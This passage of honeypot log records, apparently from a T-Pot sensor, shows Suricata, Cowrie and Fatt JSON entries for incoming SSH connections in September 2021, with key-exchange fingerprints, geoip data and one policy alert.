23840	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:49.105923+03	2021-09-20 14:15:08.02347+03	{"_id": "hwbkAnwBvYTbRNuEAw-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1933991217484976, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46596, "dest_port": 22, "timestamp": "2021-09-20T11:07:49.105923Z", "@timestamp": "2021-09-20T11:07:49.105Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23841	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:49.121638+03	2021-09-20 14:15:08.02547+03	{"_id": "iQbkAnwBvYTbRNuEBA-Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60354, "timestamp": "2021-09-20T11:07:49.121638", "@timestamp": "2021-09-20T11:07:49.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23842	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.129196+03	2021-09-20 14:15:08.0265+03	{"_id": "jgbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49828 (192.168.176.2:22) [session: 5aef5ee0c8e4]", "session": "5aef5ee0c8e4", "@version": "1", "protocol": "ssh", "src_port": 49828, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.129196Z", "@timestamp": "2021-09-20T11:07:50.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23843	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.39351+03	2021-09-20 14:15:08.02747+03	{"_id": "kgbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "31d9f752e078", "@version": "1", "duration": 3.066513776779175, "timestamp": "2021-09-20T11:07:49.393510Z", "@timestamp": "2021-09-20T11:07:49.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23844	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.447856+03	2021-09-20 14:15:08.028471+03	{"_id": "kwbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0955749a468e", "@version": "1", "timestamp": "2021-09-20T11:07:49.447856Z", "@timestamp": "2021-09-20T11:07:49.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23845	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:50.891051+03	2021-09-20 14:15:08.030471+03	{"_id": "ogbkAnwBvYTbRNuEBw-g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2144609971404642, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52104, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.891051Z", "@timestamp": "2021-09-20T11:07:50.891Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23846	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:50.133626+03	2021-09-20 14:15:08.03147+03	{"_id": "pgbkAnwBvYTbRNuECA-D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49828, "timestamp": "2021-09-20T11:07:50.133626", "@timestamp": "2021-09-20T11:07:50.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23847	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:51.053631+03	2021-09-20 14:15:08.03247+03	{"_id": "pwbkAnwBvYTbRNuECA-D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58210, "timestamp": "2021-09-20T11:07:51.053631", "@timestamp": "2021-09-20T11:07:51.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23848	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:51.325015+03	2021-09-20 14:15:08.033471+03	{"_id": "ygbkAnwBvYTbRNuECw-I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1137453025374021, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58210, "dest_port": 22, "timestamp": "2021-09-20T11:07:51.325015Z", "@timestamp": "2021-09-20T11:07:51.325Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23849	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:07:51.859521+03	2021-09-20 14:15:08.03447+03	{"_id": "yQbkAnwBvYTbRNuECw-I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:07:51.164545+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 511867416445633, "payload": "AAADzAYUcAxsijYTOS9hk8dfCFdYqgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49506, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:07:51.859521Z", "@timestamp": "2021-09-20T11:07:51.859Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......p.l.6.9/a.._.WX....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
23850	42.63.158.253	109.199.241.180	Fatt	2021-09-20 14:07:51.859521+03	2021-09-20 14:15:08.03647+03	{"_id": "zAbkAnwBvYTbRNuEDA9q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49506, "dest_port": 22, "timestamp": "2021-09-20T11:07:51.859521", "@timestamp": "2021-09-20T11:07:51.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23873	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:07:46.800761+03	2021-09-20 14:15:08.0665+03	{"_id": "5wbjAnwBvYTbRNuE-A7d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34808, "timestamp": "2021-09-20T11:07:46.800761", "@timestamp": "2021-09-20T11:07:46.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23851	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:51.515661+03	2021-09-20 14:15:08.037471+03	{"_id": "zgbkAnwBvYTbRNuEDA9q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 